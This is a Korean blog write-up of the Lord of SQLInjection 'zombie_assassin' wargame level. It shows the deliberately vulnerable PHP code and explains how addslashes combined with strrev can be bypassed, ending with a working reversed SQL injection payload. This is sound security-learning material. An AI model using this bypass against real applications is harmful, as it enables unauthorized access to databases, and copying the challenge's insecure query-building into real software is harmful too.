R136A1

[LOS] 17. zombie_assassin :: SI 본문

WEB SECURITY/SQL Injection

[LOS] 17. zombie_assassin :: SI

r136a1x27 2021. 9. 19. 01:45
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

 

제약사항

id,pw 파라미터에 addslashes 함수 적용

→ 주로 쿼리 전달 전에 쓰여서, ' " \ null 값을 \' \" \\ \null 로 replace한다.

이렇게 생성된 SQL문을 실행시키면, \' \" \\ \null등의 값이 문법이 아닌 '문자'로 해석된다.

 

이렇게 적용된 값을 다시 strrev 함수 적용한다

→ 인자로 들어온 문자열을 뒤집어서 반환

 

풀이조건

쿼리의 결과가 있기만 하면

 

쿼리

select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

 

' 의 경우: 문법이 비정상이라 오류

select id from prob_zombie_assassin where id=''\' and pw='{$_GET[pw]}'

" 의 경우: 

select id from prob_zombie_assassin where id='"\' and pw='{$_GET[pw]}'

\ 의 경우: 거꾸로해도 \를 이스케이핑 처리하게 되므로 '가 이스케이프 되지 않음

select id from prob_zombie_assassin where id='\\' and pw='{$_GET[pw]}'

NULL(%00) 의 경우:

select id from prob_zombie_assassin where id='NULL\' and pw='{$_GET[pw]}'

 

"와 %00이 사용 가능하다. 단 이 때, succubus에서 사용한 것 처럼 pw에

or 1=1 # 을 그대로 넣으면

# 1=1 ro 가 되므로 역으로 넣어줘야한다

select id from prob_zombie_assassin where id='"\' and pw='{$_GET[pw]}'

?id="&pw=# 1=1 ro

 

'WEB SECURITY > SQL Injection' 카테고리의 다른 글

[LOS] 19. xavis :: blind SI  (0) 2021.09.24
[LOS] 18. nightmare :: SI  (0) 2021.09.23
[LOS] 16. succubus :: SI  (0) 2021.09.19
[LOS] 15. assassin :: blind SI  (0) 2021.09.19
[LOS] 14. giant :: SI  (0) 2021.09.18
Comments